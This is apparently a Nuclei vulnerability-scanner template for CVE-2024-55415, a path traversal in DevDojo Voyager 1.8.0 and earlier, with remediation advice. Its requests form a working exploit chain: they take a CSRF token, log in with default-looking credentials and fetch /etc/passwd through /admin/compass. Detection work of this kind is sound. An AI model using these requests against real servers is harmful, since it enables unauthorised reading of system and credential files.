DevDojo Voyager <=1.8.0 - Arbitrary File Read

id: CVE-2024-55415

info:
  name: DevDojo Voyager <=1.8.0 - Arbitrary File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    DevDojo Voyager through 1.8.0 is vulnerable to path traversal at the /admin/compass.
  impact: |
    Authenticated attackers can exploit path traversal to read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, and application source code.
  remediation: |
    Update DevDojo Voyager to version 1.8.1 or later to address the path traversal vulnerability.
  reference:
    - https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
    - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L213
    - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55415
  classification:
    cve-id: CVE-2024-55415
    epss-score: 0.17632
    epss-percentile: 0.97173
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"Voyager"
  tags: cve,cve2024,devdojo,voyager,lfr,lfi,vuln

variables:
  username: "[email protected]"
  password: "password"

http:
  - raw:
      - |
        GET /admin/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: csrf
        group: 1
        regex:
          - 'name="_token" value="([a-zA-Z0-9]+)"'

  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{csrf}}&email={{username}}&password={{password}}&

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'/admin</title>')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/compass?download={{base64('/etc/passwd')}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - status_code == 200
        condition: and